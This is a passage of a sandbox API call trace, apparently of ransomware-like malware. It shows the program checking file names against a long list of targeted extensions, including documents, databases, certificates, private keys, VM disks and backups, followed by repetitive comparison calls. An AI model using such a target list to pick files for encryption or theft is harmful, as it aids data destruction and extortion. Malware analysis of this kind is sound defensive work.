dwFlags=0x30001) returned 0x2 [0144.175] VarBstrCmp (bstrLeft="l.mui", bstrRight=".xltm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.175] VarBstrCmp (bstrLeft="l.mui", bstrRight=".xlsb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.175] VarBstrCmp (bstrLeft=".mui", bstrRight=".xla", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.175] VarBstrCmp (bstrLeft="l.mui", bstrRight=".xlam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.175] VarBstrCmp (bstrLeft=".mui", bstrRight=".xll", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.175] VarBstrCmp (bstrLeft=".mui", bstrRight=".xlw", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.176] VarBstrCmp (bstrLeft=".mui", bstrRight=".ppt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.176] VarBstrCmp (bstrLeft=".mui", bstrRight=".pot", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.176] VarBstrCmp (bstrLeft=".mui", bstrRight=".pps", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".pptx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".pptm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".potx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".potm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".ppam", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".ppsx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.176] VarBstrCmp (bstrLeft="l.mui", bstrRight=".ppsm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.177] VarBstrCmp (bstrLeft="l.mui", bstrRight=".sldx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.177] VarBstrCmp (bstrLeft="l.mui", bstrRight=".sldm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.177] VarBstrCmp (bstrLeft="ll.mui", bstrRight=".ACCDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.177] VarBstrCmp (bstrLeft=".dll.mui", bstrRight=".SQLITE3", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.177] VarBstrCmp (bstrLeft="ll.mui", bstrRight=".ACCDR", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.177] VarBstrCmp (bstrLeft=".mui", bstrRight=".txt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.177] VarBstrCmp (bstrLeft=".mui", bstrRight=".ned", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.177] VarBstrCmp (bstrLeft=".mui", bstrRight=".ntm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.177] VarBstrCmp (bstrLeft=".mui", bstrRight=".flt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".nrp", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.178] VarBstrCmp (bstrLeft="mui", bstrRight=".db", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".3fr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft="mui", bstrRight=".ai", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".arw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".bay", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".cdr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".cer", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".cr2", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.178] VarBstrCmp (bstrLeft=".mui", bstrRight=".crt", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".crw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".dbf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".dcr", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".der", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".dng", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".dwg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".dxf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".dxg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft=".mui", bstrRight=".eps", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.179] VarBstrCmp (bstrLeft="l.mui", bstrRight=".java", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft="l.mui", bstrRight=".jpeg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".jpg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft="2.dll.mui", bstrRight=".SQLITEDB", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".mdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".mdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".mef", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".mrw", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".nef", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".png", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.180] VarBstrCmp (bstrLeft=".mui", bstrRight=".odb", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".odm", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".odp", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".ods", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.181] VarBstrCmp (bstrLeft="l.mui", bstrRight=".aspx", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".asp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".odt", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".css", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".p12", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.181] VarBstrCmp (bstrLeft=".mui", bstrRight=".edb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.181] VarBstrCmp (bstrLeft="dll.mui", bstrRight=".config", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".php", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".htm", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.182] VarBstrCmp (bstrLeft="l.mui", bstrRight=".html", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".p7c", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.182] VarBstrCmp (bstrLeft="ll.mui", bstrRight=".class", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".pef", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".pem", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".pfx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".psd", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.182] VarBstrCmp (bstrLeft=".mui", bstrRight=".pst", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".r3d", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".raw", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".rw2", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".rar", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft="mui", bstrRight=".cs", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.183] VarBstrCmp (bstrLeft="mui", bstrRight=".vb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".cpp", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".wpd", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".wps", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.183] VarBstrCmp (bstrLeft=".mui", bstrRight=".xlk", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.184] VarBstrCmp (bstrLeft=".mui", bstrRight=".vmx", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.184] VarBstrCmp (bstrLeft=".mui", bstrRight=".ovf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.184] VarBstrCmp (bstrLeft="l.mui", bstrRight=".conf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.184] VarBstrCmp (bstrLeft=".mui", bstrRight=".sln", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.184] VarBstrCmp (bstrLeft=".mui", bstrRight=".rtf", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.184] VarBstrCmp (bstrLeft="l.mui", bstrRight=".vmdk", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.184] VarBstrCmp (bstrLeft=".mui", bstrRight=".zip", lcid=0x1, dwFlags=0x30001) returned 0x0 [0144.184] VarBstrCmp (bstrLeft="_ac8e62f4", bstrRight=".backupdb", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".bas", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="2f4", bstrRight=".py", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".pyc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".pdf", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".ost", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="e62f4", bstrRight=".mail", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".bak", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".cfg", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".sql", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.185] VarBstrCmp (bstrLeft="62f4", bstrRight=".log", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.186] VarBstrCmp (bstrLeft="62f4", bstrRight=".doc", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.186] VarBstrCmp (bstrLeft="62f4", bstrRight=".xml", lcid=0x1, dwFlags=0x30001) returned 0x2 [0144.188] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x3831c18 [0144.188] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832ec0 [0144.188] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0144.189] CoFreeUnusedLibraries () [0144.189] GetTickCount () returned 0x1155e08 [0144.189] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0144.189] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0144.189] GetTickCount () returned 0x1155e08 [0144.191] IsWindowVisible (hWnd=0x30268) returned 0 [0144.191] Sleep (dwMilliseconds=0x0) [0144.216] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.216] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.216] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.217] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.217] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.217] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.217] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.218] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.218] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.218] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.219] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.219] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.219] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.219] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.220] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.220] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.220] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.221] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.221] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.221] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.221] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.222] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.222] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.222] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.223] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.223] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.223] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.223] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.224] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.224] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.224] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.225] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.225] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.225] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.225] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.226] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.226] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.226] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.227] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.227] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.227] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.227] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.228] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.228] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.228] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.229] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.229] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.229] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.229] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.230] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.230] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.230] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.230] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.231] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.231] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.231] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.232] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.232] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.232] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.233] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.233] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.233] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.234] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.234] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.234] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.235] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.235] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.235] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.235] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.236] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.236] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.236] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.236] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.237] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.237] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.237] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.237] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.238] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.238] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.238] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.239] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.239] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.239] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.239] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.240] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.241] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.242] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 [0144.243] VarCmp (pvarLeft=0x18eae4, pvarRight=0x18eaa4, lcid=0x0, dwFlags=0x30001) returned 0x2 